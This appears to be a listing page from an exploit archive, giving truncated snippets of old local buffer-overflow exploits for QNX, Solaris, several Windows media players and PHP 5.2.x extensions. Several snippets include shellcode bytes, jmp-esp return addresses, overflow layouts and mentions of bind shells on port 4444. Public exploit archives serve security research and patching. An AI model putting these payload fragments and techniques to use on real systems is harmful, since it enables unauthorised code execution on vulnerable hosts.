QNX Neutrino RTOS 6.3 - 'phgrafx' Local Buffer Overflow

source: https://www.securityfocus.com/bid/30024/info QNX Neutrino RTOS is prone to a local buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. This issue affects the 'phgrafx' utility. Attackers can exploit this issue to execute arbitrary cod...

Kantaris 0.3.4 - SSA Subtitle Local Buffer Overflow

!/usr/bin/python Kantaris 0.3.4 Media Player Local Buffer Overflow 0day! The following exploit will make a film.ssa file, just rename the file with the name of your movie, and use your imagination to pwn! : Shellcode is local bind shell, just telnet to port:4444 to get command prompt : BIG thanks...

Total Video Player 1.03 M3U File Local Buffer Overflow Exploit

Exploit for unknown platform in category local exploits ============================================================== Total Video Player 1.03 M3U File Local Buffer Overflow Exploit ============================================================== /0day Total Video Player V1.03 .m3u file Local Buffe...

Solaris 2.4 /bin/fdformat Local Buffer Overflow Exploits

No description provided by source. --------------------------- lion24.c --------------------------------- / Solaris 2.4 / include include include include define BUFLENGTH 264 define EXTRA 36 define STACKOFFSET -56 define SPARCNOP 0xa61cc013 ...

AtomixMP3 2.3 - .pls Local Buffer Overflow

AtomixMP3 2.3 - .pls Local Buffer Overflow 0x77394540 jmp esp in mswsock.dll Winxp Pro Version 2002 exploit : A x 516 +EIP - jmp esp - 4 + Nops -10 + Shellcode By : 0x58 greetz : miyyet,,diablos5s5,,vxroot,,Str0ke,,Metasploit Moroccan Hackers ! / win32exec - EXITFUNC=seh CMD=calc.exe Size=164...

AkkyWareHOUSE '7-zip32.dll' 4.42 - Heap Buffer Overflow

source: https://www.securityfocus.com/bid/25545/info AkkyWareHOUSE 7-zip32.dll is prone to a heap-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input. Attackers may be able to execute arbitrary machine code in the context of the affected application...

AkkyWareHOUSE 7-zip32.dll 4.42 - Heap Buffer Overflow

AkkyWareHOUSE 7-zip32.dll 4.42 - Heap Buffer Overflow source: https://www.securityfocus.com/bid/25545/info AkkyWareHOUSE 7-zip32.dll is prone to a heap-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input. Attackers may be able to execute arbitrary...

Virtual DJ 5.0 (m3u File) Local Buffer OverFlow Exploit

No description provided by source. Virtual DJ 5.0 Local Buffer OverFlow 224 bytes available for shellcode,, you can replace it with you favourite one,, ret addr - 0x7199403D jmp esp in mswsock.dll Winxp sp0 exploit : A x 484 +EIP - jmp esp - 4 + Nops -10 + Shellcode -224 Discovred by 0x58 && Code...

Virtual DJ 5.0 (m3u File) Local Buffer OverFlow Exploit

Exploit for unknown platform in category local exploits ======================================================= Virtual DJ 5.0 m3u File Local Buffer OverFlow Exploit ======================================================= Virtual DJ 5.0 Local Buffer OverFlow 224 bytes available for shellcode,, yo...

PHP <= 5.2.0 (php_iisfunc.dll) Local Buffer Overflow PoC (win32)

Exploit for unknown platform in category dos / poc ================================================================ PHP // Risk: Local Buffer Overflow Medium - High Risk // Notes: Various other functions are exploitable, all of which convert the // string arguments to unicode. // // extern "C"...

phpget-overflow.txt

...

PHP 5.2.3 php_ntuser ntuser_getuserlist() Local Buffer Overflow PoC

Exploit for unknown platform in category dos / poc =================================================================== PHP 5.2.3 phpntuser ntusergetuserlist Local Buffer Overflow PoC =================================================================== 0day.today 2018-03-19...

PHP 5.2.3 - PHP_ntuser ntuser_getuserlist() Local Buffer Overflow (PoC)

milw0rm.com 2007-08-23...

PHP &lt;= 5.2.3 (php_win32sti) Local Buffer Overflow Exploit

No description provided by source. ?php / Inphex 317 Bytes , Windows Command Shell Bind TCP Inline , Architecture x86 , Windows TinyXP - vm. GET /script.php HTTP/1.1\n telnet 192.168.2.32 4444 Microsoft Windows XP Version 5.1.2600 C Copyright 1985-2001 Microsoft Corp. C:\apache...

PHP <= 5.2.3 (php_win32sti) Local Buffer Overflow Exploit

Exploit for unknown platform in category local exploits ========================================================= PHP 7ffdf020 7c911005 7c9110ed 00000001 00000000 shoutz go to Kevin Finisterre / if!functionexists'winbrowsefile' die'win32std extension is not available'; $shellcode=...

PHP 5.2.3 - 'PHP_win32sti' Local Buffer Overflow (1)

7ffdf020 7c911005 7c9110ed 00000001 00000000 shoutz go to Kevin Finisterre / if!functionexists'winbrowsefile' die'win32std extension is not available'; $shellcode= "\x2b\xc9\xb1\x51\xba\xbb\xb2\xd5\x31\xda\xda\xd9\x74\x24\xf4". "\x58\x31\x50\x0e\x83\xc0\x04\x03\xeb\xb8\x37\xc4\xf7\xd7\x5c"...

PHP &lt;= 5.2.0 (php_win32sti) Local Buffer Overflow PoC (win32)

No description provided by source. ?php // ================================================================================== // // phpwin32sti.dll PHP = 5.2.0 win32 Buffer Overflow // // x Discovery: boecke [email protected] // x Risk: Local Buffer Overflow Medium - High Risk //...

PHP 5.2.0 (Windows x86) - 'PHP_win32sti' Local Buffer Overflow

// x Risk: Local Buffer Overflow Medium - High Risk // x Notes: EDX and EIP are able to be controlled and therefore // have the potential to dictate program flow. // // x "Sangre, sonando, de rabia naci.. Who do you trust?" // //...

PHP <= 5.2.0 (php_win32sti) Local Buffer Overflow PoC (win32)

Exploit for unknown platform in category dos / poc ============================================================= PHP // x Risk: Local Buffer Overflow Medium - High Risk // x Notes: EDX and EIP are able to be controlled and therefore // have the potential to dictate program flow. // // x "Sangre,...

PHP 5.2.3 - 'snmpget()' object id Local Buffer Overflow (EDI)

http://milw0rm.com/exploits/4204 317 Bytes , Windows Command Shell Bind TCP Inline , Architecture x86 , Windows TinyXP - vm. GET /script.php HTTP/1.1\n telnet 192.168.2.32 4444 Microsoft Windows XP Version 5.1.2600 C Copyright 1985-2001 Microsoft Corp. C:\apache / if !extensionloaded"snmp" die"sn...